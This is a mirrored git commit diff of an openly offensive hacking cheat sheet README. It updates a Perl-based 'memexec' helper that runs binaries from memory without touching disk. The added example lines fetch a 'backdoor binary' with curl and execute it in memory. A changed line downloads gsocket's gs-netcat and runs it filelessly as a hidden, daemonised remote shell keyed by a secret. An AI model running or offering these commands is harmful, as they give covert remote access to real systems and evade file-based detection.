mirror of
https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet.git
synced 2026-07-10 12:48:36 +02:00
Update README.md
This commit is contained in:
@@ -2034,14 +2034,16 @@ open($o, ">&=".$f) or die "open: $!";
|
||||
while(<'"${strread:-STDIN}"'>){print $o $_;}
|
||||
exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@"
|
||||
}
|
||||
# Example usage:
|
||||
# memexec /usr/bin/id -u
|
||||
# cat /usr/bin/id | memexec -u
|
||||
# curl -SsfL https://thc.org/my-backdoor-binary | memexec
|
||||
```
|
||||
(Thank you [tmp.Out](https://tmpout.sh/) for some educated discussions)
|
||||
|
||||
Deploy gsocket without writing to the filesystem (example):
|
||||
```sh
|
||||
curl -SsfL https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_linux-$(uname -m) | GS_ARGS="-ilqD -s 5sLosWHZLpE9riqt74KvG9" memexec
|
||||
GS_ARGS="-ilqD -s 5sLosWHZLpE9riqt74KvG9" memexec <(curl -SsfL https://github.com/hackerschoice/gsocket/releases/latest/download/gs-netcat_linux-$(uname -m))
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
Reference in New Issue
Block a user